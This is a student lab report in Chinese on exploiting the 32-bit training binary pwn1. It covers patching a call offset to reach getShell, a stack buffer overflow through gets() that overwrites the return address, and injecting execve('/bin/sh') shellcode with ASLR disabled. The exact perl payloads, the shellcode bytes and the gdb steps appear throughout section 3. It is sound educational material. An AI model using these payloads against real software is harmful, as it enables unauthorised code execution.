20242427 2025-2026-1 《网络与系统攻防技术》实验一实验报告
环境:Kali Linux(主机名
hejitao);对象:pwn1(7418 字节,32 位 ELF);自建文件名均含学号20242427
1.基础知识
1.1 CALL 指令与相对偏移
x86 的 call 机器码为 E8 加 4 字节小端补码,跳转目标不是绝对地址,而是相对偏移:
目标地址 = call 下一条指令的地址 + 4 字节有符号偏移
偏移为负时以补码存储,又因 x86 是小端序(低字节存低地址),故 -41 写作 d7 ff ff ff。读懂 e8 d7 ff ff ff 这三个步骤,是本次修改可执行文件的基础。
1.2 常用汇编指令机器码
| 指令 | 含义 | 机器码 |
|---|---|---|
| NOP | 空转,可作 shellcode 滑行区 | 0x90 |
| JNE | 不相等则跳转 | 0x75 |
| JE | 相等则跳转 | 0x74 |
| JMP 短/近/远/间接 | 无条件转移 | 0xEB / 0xE9 / 0xEA / 0xFF |
| CMP | 比较(做减法不存结果,只影响标志位) | 0x38~0x3D |
| CALL 近调用 | 本次重点,后跟 4 字节相对偏移 | 0xE8 |
1.3 栈帧结构与缓冲区溢出
高地址┌──────────────┐│ 返回地址 RA │ ← 攻击目标:控制它 = 控制 EIP├──────────────┤│ 保存的 EBP │├──────────────┤│ char buf[28] │ ← gets() 不检查长度└──────────────┘低地址
foo 用 gets(buf) 读入输入。gets 不做边界检查,输入从 buf[0] 向高地址连续写入,依次覆盖 buf、保存的 EBP、返回地址。函数 ret 时从栈上弹出返回地址送入 EIP,于是 EIP 被攻击者控制。gets 因无法安全使用已在 C11 中被移除,本实验对象正是这一漏洞的反面教材。
1.4 Shellcode
一段可直接执行的机器码,本实验用经典的 25 字节 execve("/bin/sh"):
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
| 机器码 | 汇编 | 作用 |
|---|---|---|
31 c0 |
xor eax,eax |
eax = 0 |
50 |
push eax |
压入字符串结束符 \0 |
68 2f2f7368 |
push 0x68732f2f |
压入 "//sh" |
68 2f62696e |
push 0x6e69622f |
压入 "/bin" |
89 e3 |
mov ebx,esp |
ebx → 字符串地址(第 1 参数) |
50 / 53 |
push eax / push ebx |
构造 argv = |
89 e1 |
mov ecx,esp |
ecx → argv(第 2 参数) |
31 d2 |
xor edx,edx |
envp = NULL(第 3 参数) |
b0 0b |
mov al,0xb |
eax = 11 = __NR_execve |
cd 80 |
int 0x80 |
触发系统调用 |
注意:两次 push 拼出的字符串是 /bin//sh(双斜杠,为凑满 4 字节对齐),与 /bin/sh 等价。这个双斜杠后来成为验证 shellcode 确实执行的关键证据(见 3.4.4)。
1.5 三个影响实验成败的保护机制
| 机制 | 检查方法 | 影响 |
|---|---|---|
| PIE | readelf -h,Type 为 EXEC 即未启用 |
未启用则函数地址固定,可硬编码 |
| NX | readelf -l 文件 | grep GNU_STACK,RWE 即可执行 |
开启则栈上 shellcode 无法运行 |
| ASLR | cat /proc/sys/kernel/randomize_va_space,2 为开启 |
开启则栈地址每次变化,无法预测 |
2.实验内容
对象是 Linux 可执行文件 pwn1:正常流程是 main 调用 foo 回显用户输入;程序中另含代码片段 getShell,可返回一个可用 Shell,正常情况下不会被执行。
本次目标就是设法运行这段代码,并进一步注入运行任意 shellcode。三个内容:
- 手工修改可执行文件,改变执行流程,直接跳转到
getShell。 - 利用
foo的 BOF 漏洞,构造输入覆盖返回地址,触发getShell。 - 注入自制的 shellcode 并运行。
三者代表现实中递进的攻击目标:运行原本不可访问的代码 → 强行修改执行流 → 注入任意代码。
3.实验过程
3.1 环境与目标文件准备
hostname
cd ~/exp1
file pwn1
hejitao
pwn1: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb55ff390641d9430666f4c373725241894ef5a5, not stripped
32-bit 说明使用 32 位地址;not stripped 说明符号表保留,objdump 才能显示出 foo、getShell 等函数名。
sha256sum pwn1
997e4fe982b347842725631d0dad4391715372e7111ae9e7689b412ac48a3b0b
按评分要求,将文件名改为包含本人学号,并做好备份:
cp pwn1 pwn1_20242427
chmod +x pwn1_20242427
cp pwn1_20242427 pwn1_20242427.bak
ls -l
-rw-rw-r-- 1 kali kali 37 Oct 11 05:47 input_20242427
-rw-rw-r-- 1 kali kali 67 Oct 11 05:55 input_shellcode_20242427
-rw-rw-r-- 1 kali kali 68 Oct 11 06:10 input_shellcode_20242427_final
-rw-rw-r-- 1 kali kali 7418 Aug 19 2016 pwn1
-rwxrwxr-x 1 kali kali 7419 Sep 27 23:58 pwn1_20242427
-rwxrwxr-x 1 kali kali 7418 Sep 27 23:36 pwn1_20242427.bak
-rwxrwxr-x 1 kali kali 7418 Oct 11 05:41 pwn1_bof_20242427
-rwxrwxr-x 1 kali kali 7418 Oct 11 05:52 pwn1_sc_20242427
其中 pwn1、pwn1_bof_20242427(实践二)、pwn1_sc_20242427(实践三)均为 7418 字节,而实践一修改后的 pwn1_20242427 为 7419 字节,多出 1 字节的原因见"问题12"。
3.2 实践一:修改机器指令,直接跳转 getShell
3.2.1 反汇编定位
objdump -d pwn1_20242427 | sed -n '/:/,/^$/p'
080484af :80484af: 55 push %ebp80484b0: 89 e5 mov %esp,%ebp80484b2: 83 e4 f0 and $0xfffffff0,%esp80484b5: e8 d7 ff ff ff call 8048491 80484ba: b8 00 00 00 00 mov $0x0,%eax80484bf: c9 leave80484c0: c3 ret
call 机器码 e8 d7 ff ff ff 位于 0x080484b5,长 5 字节,故下一条指令地址为 0x080484ba。d7 ff ff ff 按小端还原为 0xFFFFFFD7 即 -41,验算 0x080484ba + (-41) = 0x08048491,正是 foo,与反汇编一致。
objdump -d pwn1_20242427 | sed -n '/:/,/^$/p'
0804847d :804847d: 55 push %ebp804847e: 89 e5 mov %esp,%ebp8048480: 83 ec 18 sub $0x18,%esp8048483: c7 04 24 60 85 04 08 movl $0x8048560,(%esp)804848a: e8 c1 fe ff ff call 8048350 804848f: c9 leave8048490: c3 ret
getShell 入口为 0x0804847d,功能是 system("/bin/sh")(字符串位于 0x08048560)。
3.2.2 计算新偏移
3.2.2 计算新偏移
python3 -c "
getShell = 0x0804847d
next_ins = 0x080484ba
off = (getShell - next_ins) & 0xffffffff
print(hex(off), off.to_bytes(4,'little').hex(' '))
"
0xffffffc3 c3 ff ff ff
即 0x0804847d − 0x080484ba = -0x3d,补码 0xFFFFFFC3,小端为 c3 ff ff ff。对比原指令,只有第一个字节需由 d7 改为 c3。
3.2.3 用十六进制编辑器改字节
3.2.3 用十六进制编辑器改字节
vi pwn1_20242427
操作
说明
Esc → :%!xxd
转为十六进制视图
/000004b0
定位目标行
i,把 d7 改为 c3
只改一个字符
Esc → :%!xxd -r → :wq
转回二进制并保存
修改前: 000004b0: 89e5 83e4 f0e8 d7ff ffff b800 0000 00c9
修改后: 000004b0: 89e5 83e4 f0e8 c3ff ffff b800 0000 00c9
即文件中偏移 0x4b6 处的字节由 d7 改为 c3。
先将 d7 误改为 c7 的错误状态(导致段错误,详见问题3):
3.2.4 验证与运行
3.2.4 验证与运行
objdump -d pwn1_20242427 | sed -n '/:/,/^$/p'
80484b5: e8 c3 ff ff ff call 804847d
原来的 call 8048491 已变为 call 804847d 。
./pwn1_20242427
whoami
id
ls
程序无任何输出,直接给出一个新的 Shell 提示符——因为 getShell 执行的是 system("/bin/sh")。ls 成功列出目录内容,证明执行流程被成功改变。
3.3 实践二:BOF 覆盖返回地址
3.3 实践二:BOF 覆盖返回地址
实践一改的是文件,实践二不改文件,靠构造超长输入覆盖 foo 的返回地址,因此必须使用未修改的原始 pwn1(否则 main 直接调用 getShell,程序走不到存在漏洞的 foo)。
cp pwn1 pwn1_bof_20242427 && chmod +x pwn1_bof_20242427
objdump -d pwn1_bof_20242427 | sed -n '/:/,/^$/p'
08048491 :8048491: 55 push %ebp8048492: 89 e5 mov %esp,%ebp8048494: 83 ec 38 sub $0x38,%esp8048497: 8d 45 e4 lea -0x1c(%ebp),%eax804849a: 89 04 24 mov %eax,(%esp)804849d: e8 8e fe ff ff call 8048330 80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax80484a5: 89 04 24 mov %eax,(%esp)80484a8: e8 93 fe ff ff call 8048340 80484ad: c9 leave80484ae: c3 ret
两个关键点:
sub $0x38,%esp 是 56,但缓冲区实际只有 28 字节——真正的判据是传给 gets 的地址 lea -0x1c(%ebp),%eax,0x1c = 28,其余是 gcc 的栈对齐填充。
buf 起于 ebp-0x1c,故 buf → 保存的 EBP → 返回地址共 28 + 4 = 32 字节,即第 33~36 字节覆盖返回地址。
3.3.1 gdb 确认覆盖位置
3.3.1 gdb 确认覆盖位置
gdb ./pwn1_bof_20242427
(gdb) run
1111111122222222333333334444444455555555
(gdb) info registers eip
eip 0x35353535
0x35 是字符 '5' 的 ASCII。EIP 中出现 4 个 0x35,说明 '5' 盖住了返回地址;因前 32 字符是 1/2/3/4,从第 33 个字符起才是 5,故返回地址位于第 33~36 字节。
进一步把末尾换成 12345678:
(gdb) run
1111111122222222333333334444444412345678
(gdb) info registers eip
eip 0x34333231
0x34333231 按小端拆开是字节 31 32 33 34,即 ASCII 的 '1' '2' '3' '4'。EIP 恰好等于 1234,精确证明第 33~36 个字符正覆盖返回地址。
3.3.2 构造 payload 并攻击
3.3.2 构造 payload 并攻击
0x0804847d 的小端写法为 \x7d\x84\x04\x08:
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input_20242427
xxd input_20242427
00000000: 3131 3131 3131 3131 3232 3232 3232 3232 1111111122222222
00000010: 3333 3333 3333 3333 3434 3434 3434 3434 3333333344444444
00000020: 7d84 0408 0a }....
部分
内容
作用
前 32 字节
11…44
填满 buf(28)+ 保存的 EBP(4)
第 33~36 字节
7d 84 04 08
覆盖返回地址为 getShell
末 1 字节
0a
回车,让 gets 结束读取
必须先生成文件:\x84、\x04、\x08 是不可打印字符,无法用键盘直接输入。
(cat input_20242427; cat) | ./pwn1_bof_20242427
第一个 cat 把 payload 送入程序触发溢出;第二个 cat 保持 stdin 打开,使后续输入的命令能继续送进 shell(省略则 shell 读到 EOF 立即退出,表现为攻击无效)。
11111111222222223333333344444444}♦ ← puts 回显,末尾 } 即 0x7d
ls
input_20242427 pwn1 pwn1_20242427 pwn1_20242427.bak pwn1_bof_20242427
whoami
kali
回显末尾的 } 就是 0x7d 的 ASCII 字符,正是 getShell 地址 0x0804847d 的最低字节,无意中证明了 payload 后 4 字节确实写入了缓冲区。
3.4 实践三:注入 shellcode 并执行
3.4 实践三:注入 shellcode 并执行
实践一、二都依赖"程序中恰好存在 getShell 这段代码";实践三不依赖程序中任何可利用代码,自行构造机器码注入栈中执行。
3.4.1 关闭保护机制
3.4.1 关闭保护机制
cp pwn1 pwn1_sc_20242427 && chmod +x pwn1_sc_20242427
readelf -l pwn1_sc_20242427 | grep GNU_STACK
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10
显示 RWE,说明该程序编译时未开启 NX,栈本身可执行,无需 execstack 或 patchelf 处理。
cat /proc/sys/kernel/randomize_va_space
2
sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
cat /proc/sys/kernel/randomize_va_space
0
ASLR 必须关闭,否则栈地址每次运行都不同,无法预测 shellcode 位置。该设置重启后恢复。
3.4.2 构造探测 payload
3.4.2 构造探测 payload
先用带"占位地址"的 payload 探测 shellcode 在栈上的确切位置:
perl -e 'print "A" x 32; print "\x04\x03\x02\x01"; print "\x90" x 6; print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > input_shellcode_20242427
偏移
字节
内容
作用
0x00–0x1f
32
41
填满 buf + 保存的 EBP
0x20–0x23
4
04 03 02 01
占位返回地址 0x01020304,用于定位
0x24–0x29
6
90
NOP 滑行区
0x2a–0x42
25
shellcode
execve("/bin/sh")
本 payload 末尾故意不加 \x0a:gets 会阻塞等待输入,程序停在 gets 中不往下走,从而留出时间用 gdb 附加调试。
3.4.3 gdb 定位 shellcode 地址
3.4.3 gdb 定位 shellcode 地址
(cat input_shellcode_20242427; sleep 600) | ./pwn1_sc_20242427 # 用 sleep 而非 cat,避免键盘输入被程序读取
ps -ef | grep pwn1_sc_20242427 | grep -v grep
sudo gdb -q
(gdb) attach 16928
(gdb) info registers ebp
0xf7fc4589 in __kernel_vsyscall ()
ebp 0x0
ebp = 0 的原因:程序正阻塞在 gets 内部的 read 系统调用,停在 __kernel_vsyscall,而 glibc 用 -fomit-frame-pointer 编译,EBP 已被当作通用寄存器,不再保存 foo 的栈帧指针,故无法通过 EBP 反推地址。改用直接搜索栈内存:
(gdb) find /w $esp, $esp+0x1000, 0x01020304
0xffffcefc
1 pattern found.(gdb) x/8x 0xffffcefc
0xffffcefc: 0x01020304 0x90909090 0xc0319090 0x2f2f6850
0xffffcf0c: 0x2f686873 0x896e6962 0x895350e3 0xb0d231e1
搜索方向说明:栈向低地址增长,gets 的调用层次比 foo 更深,当前 $esp 位于 foo 栈帧下方,故须向高地址($esp + 0x1000)搜索。
逐字节核对:0xffffcefc 处是占位地址 0x01020304,其后 90 90 90 90、90 90 31 c0(共 6 个 NOP 后接 shellcode),再后是 50 68 2f 2f(push eax + "/")……全部吻合。
由此得出:
返回地址槽位 = 0xffffcefc
NOP 滑行区 = 0xffffcefc + 4 = 0xffffcf00 ← 返回地址填此
shellcode = 0xffffcefc + 10 = 0xffffcf06
3.4.4 构造最终 payload 并攻击
3.4.4 构造最终 payload 并攻击
结构与探测 payload 一致,仅把占位地址换成真实地址 0xffffcf00(小端 \x00\xcf\xff\xff),并补上 \x0a 使 gets 立即返回:
pkill -f pwn1_sc_20242427
perl -e 'print "A" x 32; print "\x00\xcf\xff\xff"; print "\x90" x 6; print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"; print "\x0a"' > input_shellcode_20242427_final
xxd input_shellcode_20242427_final
00000020: 00cf ffff 9090 9090 9090 31c0 5068 2f2f ..........1.Ph//
(cat input_shellcode_20242427_final; cat) | ./pwn1_sc_20242427
程序先由 puts 回显 payload,随后 foo 执行 ret,弹出被覆盖的返回地址 0xffffcf00,跳转到栈上的 NOP 滑行区,一路滑行到 shellcode,执行 execve("/bin/sh"):
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ls
input_20242427 input_shellcode_20242427 input_shellcode_20242427_final
pwn1 pwn1_20242427 pwn1_20242427.bak pwn1_bof_20242427 pwn1_sc_20242427
whoami
kali
echo "shellcode works"
shellcode works
注入的 shellcode 成功执行。
返回地址填 NOP 滑行区起点而非 shellcode 起点,是因为 NOP 不执行任何操作,只要返回地址落在滑行区内就会自动"滑"到 shellcode;栈地址可能有几字节漂移,填滑行区容错率更高,直接填 shellcode 起点则错一字节即崩溃。
一个意外的关键验证:退出 shell 时终端报出
/bin//sh: 5: exitexit: not found
注意其中的 /bin//sh 是双斜杠。系统中正常的 shell 路径是 /bin/sh,只有本实验注入的 shellcode 会拼出 /bin//sh(两次 push 分别压入 "//sh" 和 "/bin")。shell 报错时以 argv[0] 作前缀,因此这行信息直接证明了当前 Shell 确实由注入的 shellcode 启动,比任何截图都更有力。
3.5 三个实践的对比
3.5 三个实践的对比
实践一
实践二
实践三
改变的对象
文件字节
程序输入
程序输入
劫持点
main 的 call
foo 的 ret
foo 的 ret
跳转目标
getShell(代码段)
getShell(代码段)
栈上的 shellcode
依赖程序中已有代码
是
是
否
额外前提
非 PIE
非 PIE、无栈保护
栈可执行、ASLR 关闭
最后两行是本质区别:实践一、二都依赖"程序里恰好存在一段本不该被执行的代码";实践三不要求程序中有任何可利用的代码——攻击者把机器码送入栈中自行执行。这正是 shellcode 注入危害更高的原因,也是 NX 保护所要解决的问题。
4.问题及解决方案
4.问题及解决方案
问题1:从宿主机向 Kali 传 pwn1 时,wget 始终连不上宿主机的 HTTP 服务,而服务端日志显示未收到任何请求。
问题1解决方案:宿主机 Windows 防火墙默认拦截入站连接,端口 8000 未放行,TCP 连接被丢弃。以管理员权限添加入站规则后传输成功,并用 sha256sum 校验哈希与源文件一致。
New-NetFirewallRule -DisplayName "pwn1-http" -Direction Inbound -LocalPort 8000 -Protocol TCP -Action Allow
问题2:在 vim 十六进制视图中搜索 e8d7,提示找不到。
问题2解决方案::%!xxd 的视图是每 2 字节一组显示的,实际内容为 f0e8 d7ff,e8 与 d7 之间隔着空格,故 e8d7 无法匹配。改为搜索行首地址 /000004b0。修改时使用 r(替换单字符)而非 i(插入),可避免多出字符。
问题3:按步骤修改后运行,程序报 Segmentation fault,gdb 显示崩溃点 eip = 0x08048481(即 getShell+4)。
问题3解决方案:核对字节发现修改时误将 d7 输成了 c7,偏移由 -61 变为 -57:
0x080484ba + (-57) = 0x08048481
而 0x08048481 不是指令边界,它落在 83 ec 18(sub $0x18,%esp)这条 3 字节指令的中间,CPU 从指令中间开始解码,得到非法指令而崩溃。
值得注意的是,gdb 的 bt 输出显示 #1 ... from /usr/lib32/libc.so.6,具有误导性——这实际是栈被破坏后的假回溯;真正的判据是 eip 落在了指令中间。改回 c3 后问题解决,反汇编显示 call 804847d (不再是 )。
本问题说明 call 的相对偏移必须精确到字节,一个字节的错误就会跳转到非法位置。
问题4:执行 cp pwn1_20242427.bak pwn1_20242427 报 Text file busy,无法从备份恢复。
问题4解决方案:因为该文件仍处于运行状态(残留进程或调试会话未退出)。Linux 内核禁止写入正在执行的程序文件,以防运行中的代码被篡改。用 pkill -9 结束残留进程后恢复正常。
问题5:用脚本修改字节时出现 AssertionError: 原字节不是 d7。
问题5解决方案:由于问题 4 中 cp 未成功,文件仍是被误改为 c7 的状态,而断言要求原字节为 d7 才允许修改,故断言失败。这实际起到了保护作用,避免在未知状态下误改文件。将断言放宽为允许 c7 或 d7 后解决。可见:改二进制文件前先断言校验原值,是可靠的习惯。
问题6:执行 (cat input_shellcode_20242427; cat) | ./pwn1_sc_20242427 后在终端里敲 ps 等命令,命令没有执行,反而被写入程序,程序随即崩溃并报 broken pipe。
问题6解决方案:该命令中第二个 cat 会读取并转发终端键盘输入给程序,在同一终端敲的任何命令都会被 gets 当作 payload 读取。正确做法是:注入 payload 的终端不能再输入任何内容,调试命令必须在另一终端执行;或把第二个 cat 换成 sleep 600。 为确认后续操作不会重蹈覆辙,先用 tty 查明自己所在终端——下两图显示当前终端为 /dev/pts/0,而 pwn1 运行在 pts/1,两者不同,故在当前终端调试是安全的。
问题7:gdb 附加进程后 info registers ebp 得到 ebp = 0x0,无法据此计算缓冲区地址。
问题7解决方案:此时程序阻塞在 gets 内部的 read 系统调用(停在 __kernel_vsyscall),而 glibc 用 -fomit-frame-pointer 编译,EBP 已作通用寄存器,不再保存 foo 的栈帧指针,故读到 0。 改为直接在栈上搜索 payload 的特征值:在返回地址位置写入独一无二的标记 0x01020304,再用 find 定位:
(gdb) find /w $esp, $esp+0x1000, 0x01020304
搜索方向必须向高地址,因为栈向低地址增长,而 gets 的调用层次比 foo 更深。
问题8:执行 find /w $esp, $esp+0x4000, 0x01020304 报 Invalid search space, end precedes start。
问题8解决方案:gdb 做表达式计算时把 $esp 按有符号 32 位整数处理。$esp 形如 0xffffd000,有符号值为 -0x3000,加 0x4000 后变成 +0x1000,反而变小,于是"结束地址"小于"起始地址"而报错。把偏移减小到 0x1000 即可避免溢出;若栈地址特别高,也可用 info proc mappings 查出 [stack] 实际范围,用两个绝对地址搜索。
问题9:pkill -9 pwn1_sc_20242427 提示 pattern that searches for process name longer than 15 characters will result in zero matches,杀不掉进程。
问题9解决方案:Linux 内核中进程名(comm)长度上限为 15 字符,而 pwn1_sc_20242427 有 16 字符,被截断后无法匹配。改用 pkill -f pwn1_sc_20242427 匹配完整命令行,或直接 kill -9 。
问题10:执行 sudo 时提示 sudo: unable to resolve host hejitao: Name or service not known。
问题10解决方案:修改主机名后 /etc/hosts 中没有对应解析记录。补充记录后告警消失(该告警只造成延迟,不影响命令执行):
echo "127.0.1.1 hejitao" | sudo tee -a /etc/hosts
问题11:实践一、二中退出所获得的 Shell 时,终端报 zsh: segmentation fault。
问题11解决方案:这是正常现象。getShell 末尾是 leave; ret,而它是被 call 或 BOF 直接跳入执行的,栈上没有合法的调用者返回地址;shell 退出后 getShell 执行到 ret 会弹出无效地址而崩溃。此时 shell 已完成任务,崩溃发生在退出之后,不影响攻击结果。这也解释了终端同时报 broken pipe(管道随程序崩溃而断开)。
问题12:用 vim 的 :%!xxd / :%!xxd -r 往返保存后,文件由 7418 字节变为 7419 字节。
问题12解决方案:由 ls -l 对比可见,pwn1_20242427(7419)比备份 pwn1_20242427.bak(7418)多 1 字节。原因是 vim 保存文本时会在文件末尾补一个换行符(受 eol 选项影响),:%!xxd -r 转回二进制时被保留。
由于本次修改的字节位于偏移 0x4b6,远早于文件末尾,多出的字节只影响尾部,既未破坏 ELF 结构也未影响被修改的 call 指令,程序运行正常。若要避免,可用 truncate -s 7418 pwn1_20242427 截掉,或改用 Python 按字节原地改写(本次最终采用的方式),既不改变文件长度,又能断言校验原字节,更为可靠。
5.学习感悟、思考等
5.学习感悟、思考等
第一,理解了机器指令的"相对性"。 此前我下意识以为 call 后面跟的是目标函数的绝对地址,实际上存的是相对偏移,d7 ff ff ff 需要按补码、小端两步还原成 -41,再加上下一条指令地址才能得到 foo 的位置。把这三步串起来算通的那一刻,才算真正看懂了反汇编输出的含义。
第二,深刻体会到一个字节的威力与代价。 我误把 d7 敲成 c7,仅一个字符之差,偏移就从 -61 变成 -57,跳转目标从 0x0804847d 偏到 0x08048481。由于后者不是指令边界,CPU 从一条指令的中间开始解码,程序立刻崩溃。这让我直观理解了:机器码没有"容错",指令边界本身就是语义的一部分。 同时也让我明白,调试二进制问题时 eip 的值比 bt 的回溯更可信——栈被破坏后,回溯出的调用链可能是完全虚假的。
第三,意识到"调试手段本身也有前提"。 实践三中我原以为只要 attach 进程、读出 ebp 就能算出缓冲区地址,结果读到 ebp = 0。原因是我忽略了 glibc 用 -fomit-frame-pointer 编译、此刻程序停在系统调用里,EBP 早已不是栈帧指针。这提醒我,任何调试方法都建立在"当前处于什么上下文"的判断之上;换成主动在栈上放特征值再用 find 搜索,反而更直接可靠。类似地,find 因 gdb 按有符号数计算地址而溢出报错,也说明工具的默认行为需要理解,不能想当然。
第四,关于工具的选择。 一开始用 vim 手改字节,虽完成了任务,但一次手滑就导致崩溃,且往返保存还多了 1 字节。后来改用 Python 脚本修改并在脚本中加入断言校验原字节,才真正稳下来。手工操作适合理解与演示,可重复、可校验的自动化方式才适合实际工作——这也正是安全领域强调"可复现"的原因。
第五,对防御的思考。 三个实践能成功的前提非常明确:程序未启用 PIE、未启用 NX、系统关闭了 ASLR。现代系统普遍同时开启这三项保护,正是为了抬高此类攻击的门槛。但更根本的问题在于,程序里存在一段本不该被执行的代码——如果 getShell 这样的敏感功能在设计时就不存在,后续无论哪种攻击手法都无从谈起。这提示我们:安全设计应从"减少攻击面"入手,而不仅是依赖运行时的缓解机制。
第六,一个细节带来的启发。 实践三退出 shell 时终端报出的 /bin//sh: 5: exitexit: not found 让我一开始以为是出错,仔细看才发现 argv[0] 显示的是 /bin//sh(双斜杠)——正是我自己 shellcode 里两次 push 拼出来的字符串。这个"意外"反而成了最有力的证据:系统原有的 shell 绝不会显示这个路径。这让我意识到,攻击与验证都体现在细节里,能解释清楚每一个字节的来源,才算真的掌握了。
参考资料
参考资料
逆向及Bof基础实践说明(实验指导书)
网络对抗实验一 逆向及Bof基础实践
20145306 逆向与Bof基础
Smashing The Stack For Fun And Profit —— Aleph One
Intel x86 指令参考手册(Felix Cloutier)
Linux 系统调用表
GNU GDB 官方文档